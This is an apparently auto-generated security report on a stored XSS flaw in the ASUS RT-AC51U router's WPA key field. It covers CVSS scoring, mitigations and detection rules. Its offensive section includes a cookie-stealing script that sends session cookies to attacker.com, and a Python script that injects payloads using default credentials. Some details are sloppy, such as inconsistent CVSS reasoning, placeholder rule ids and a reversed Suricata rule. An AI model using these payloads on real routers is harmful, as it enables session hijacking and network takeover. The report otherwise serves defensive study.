CVE-2023-33548

Executive Summary

CVE-2023-33548 is a stored Cross-Site Scripting (XSS) vulnerability discovered in the ASUS RT-AC51U wireless router. The flaw resides in the WPA Pre-Shared Key (PSK) field of the router's web-based administration interface. An attacker with administrative access or the ability to trick an authenticated admin into submitting a crafted payload can inject arbitrary JavaScript code. This code executes in the context of the admin's browser session, potentially allowing session hijacking, configuration changes, or further network compromise. The vulnerability affects firmware versions up to and including 3.0.0.4.380.8591. No official patch has been released, and the device is considered end-of-life, making this a permanent security risk for any deployed unit.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded device (ASUS RT-AC51U router). The risk is primarily to end-users and small office/home office (SOHO) networks that still operate this model.

CVSS Breakdown & Threat Level

CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): None (N) - The attacker does not need prior authentication to the router's admin interface to trigger the stored XSS, but they do need to inject the payload into the WPA PSK field. This typically requires either physical access to the router's admin panel or a previous compromise.
• User Interaction (UI): Required (R) - The victim (an authenticated admin) must visit the vulnerable page (e.g., the Wireless settings page) where the payload is stored.
• Scope (S): Changed (C) - The vulnerable component (router firmware) and the impacted component (admin's browser) are different.
• Confidentiality (C): Low (L) - Limited information disclosure (e.g., session tokens, admin credentials).
• Integrity (I): Low (L) - Limited ability to modify data (e.g., change router settings).
• Availability (A): None (N) - No impact on system availability.

Threat Level: Medium (CVSS 5.4). The requirement for user interaction and the need to first inject the payload into the WPA PSK field reduces the immediate exploitability. However, the lack of a patch and the widespread deployment of this router model elevate the real-world risk.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the router's web management interface. The WPA Pre-Shared Key field, used to set the Wi-Fi password, does not properly sanitize user input before storing it and later rendering it in the admin panel.

Attack Flow:

1. Injection: An attacker gains access to the router's admin interface (e.g., via default credentials, a previous exploit, or physical access). They navigate to the Wireless settings page and enter a malicious payload into the "WPA Pre-Shared Key" field. For example: <script>alert('XSS')</script>.
2. Storage: The router's firmware stores this unsanitized input in its configuration database (e.g., NVRAM).
3. Trigger: An authenticated administrator later visits the Wireless settings page to review or change the Wi-Fi configuration. The router's web server retrieves the stored PSK value and embeds it directly into the HTML of the page without proper encoding.
4. Execution: The victim's browser parses the injected <script> tag and executes the attacker's JavaScript code within the security context of the router's admin interface.

Impact of Successful Exploitation:

• Session Hijacking: The injected script can steal the admin's session cookie (Set-Cookie: admin_session=...), allowing the attacker to impersonate the admin.
• Configuration Manipulation: The script can make AJAX requests to the router's API to change settings (e.g., DNS servers, open ports, disable firewall).
• Credential Theft: The script can capture keystrokes or modify the login form to send credentials to an attacker-controlled server.
• Lateral Movement: The compromised router can be used as a pivot point to attack other devices on the internal network.

Vulnerable vs. Patched Code

Since no official patch exists, we can only analyze the vulnerable code pattern. The router's web server (likely a custom embedded HTTP server) renders the WPA PSK value directly into the HTML.

Vulnerable Code (Conceptual - PHP-like embedded language):

// Vulnerable: Direct output without sanitization
$wpa_psk = get_config('wl0_wpa_psk');
echo "<input type='text' name='wl0_wpa_psk' value='$wpa_psk'>";

Patched Code (Conceptual - What a fix would look like):

// Patched: HTML entity encoding before output
$wpa_psk = get_config('wl0_wpa_psk');
$safe_wpa_psk = htmlspecialchars($wpa_psk, ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='wl0_wpa_psk' value='$safe_wpa_psk'>";

The patched version uses htmlspecialchars() (or equivalent) to convert special HTML characters like <, >, ", and & into their corresponding HTML entities (<, >, ", &). This prevents the browser from interpreting the input as code.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A lab environment with an ASUS RT-AC51U router running firmware version 3.0.0.4.380.8591 or earlier.
• Network access to the router's admin interface (typically http://192.168.1.1).
• Admin credentials (default: admin/admin).

Exploitation Steps:

1. Access Admin Interface: Log in to the router's web interface.
2. Navigate to Wireless Settings: Go to Wireless -> General.
3. Inject Payload: In the "WPA Pre-Shared Key" field, enter a JavaScript payload. For a proof-of-concept, use:

   <script>alert('XSS')</script>
   

   For a more advanced payload that steals the admin session cookie:

   <script>
   var img = new Image();
   img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
   </script>
   

4. Apply Settings: Click "Apply" to save the configuration.
5. Trigger: Wait for an authenticated admin to visit the same Wireless settings page. The payload will execute in their browser.

Automated Exploit (Python):

import requests

target_ip = "192.168.1.1"
username = "admin"
password = "admin"
payload = "<script>alert('XSS')</script>"

# Login
session = requests.Session()
login_url = f"http://{target_ip}/login.cgi"
login_data = {"username": username, "password": password}
session.post(login_url, data=login_data)

# Inject XSS payload into WPA PSK field
settings_url = f"http://{target_ip}/apply.cgi"
settings_data = {
    "wl0_wpa_psk": payload,
    "action_mode": "apply",
    "wl_unit": 0
}
session.post(settings_url, data=settings_data)

print(f"Payload injected. Visit the Wireless settings page to trigger.")

Blue Team (Defensive)

Detection & Prevention:

• Network Segmentation: Place the router in a separate VLAN with strict access controls. Only allow necessary management traffic from trusted admin workstations.
• Web Application Firewall (WAF): If possible, deploy a WAF in front of the router's admin interface to filter out malicious JavaScript payloads.
• Input Validation: While you cannot patch the router, you can implement a proxy that validates and sanitizes requests to the router's admin interface.
• Monitor Logs: Enable and monitor the router's system log for unusual configuration changes or repeated login attempts.
• Replace Device: The most effective mitigation is to replace the ASUS RT-AC51U with a supported, patched router model.

Sigma Rule for Detection:

title: ASUS RT-AC51U WPA PSK XSS Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to inject XSS payloads into the WPA Pre-Shared Key field of an ASUS RT-AC51U router.
logsource:
    category: web
    product: suricata
detection:
    selection:
        http.method: POST
        http.uri: '/apply.cgi'
        http.request_body|contains: 'wl0_wpa_psk'
        http.request_body|contains: '<script>'
    condition: selection
falsepositives:
    - Legitimate use of special characters in PSK (unlikely)
level: high

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from the router to attacker-controlled domains (e.g., attacker.com/steal?cookie=...).
  • Unusual DNS queries from the router to unknown domains.
• Host IOCs (on the router):
  • Modified configuration values in NVRAM, specifically the wl0_wpa_psk field containing JavaScript code.
  • Unexpected entries in the router's system log indicating configuration changes.
• File IOCs:
  • No specific file-based IOCs as the vulnerability is in the firmware's web interface.

Detection Engineering

YARA Rule

rule ASUS_RT_AC51U_XSS_Payload
{
    meta:
        description = "Detects XSS payloads targeting the WPA PSK field in ASUS RT-AC51U router config"
        author = "Valters IT"
        date = "2024-05-24"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $wpa_psk_field = "wl0_wpa_psk"
    condition:
        $wpa_psk_field and $xss_payload
}

Sigma Rule

title: ASUS RT-AC51U WPA PSK XSS Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to inject XSS payloads into the WPA Pre-Shared Key field of an ASUS RT-AC51U router.
logsource:
    category: web
    product: suricata
detection:
    selection:
        http.method: POST
        http.uri: '/apply.cgi'
        http.request_body|contains: 'wl0_wpa_psk'
        http.request_body|contains: '<script>'
    condition: selection
falsepositives:
    - Legitimate use of special characters in PSK (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ASUS RT-AC51U WPA PSK XSS Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/apply.cgi"; http_uri; content:"wl0_wpa_psk"; http_client_body; content:"<script>"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Replace the Device: The ASUS RT-AC51U is end-of-life and will not receive a security patch. The only complete remediation is to replace it with a supported router model.
2. Restrict Admin Access: If replacement is not immediately possible, restrict access to the router's admin interface to only trusted, local IP addresses. Disable remote management (WAN access to admin panel).
3. Change Default Credentials: Ensure the admin password is strong and unique. Do not use the default admin/admin credentials.
4. Monitor for Suspicious Activity: Regularly review the router's logs for unauthorized configuration changes.

Long-Term Recommendations:

• Vendor Communication: Contact ASUS support to request a patch, though this is unlikely for an EOL device.
• Network Hardening: Implement network segmentation and a firewall to isolate the router from critical assets.
• User Awareness: Educate administrators about the risks of using unsupported hardware and the importance of input validation.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Framework. For questions, contact valters@valters-it.com.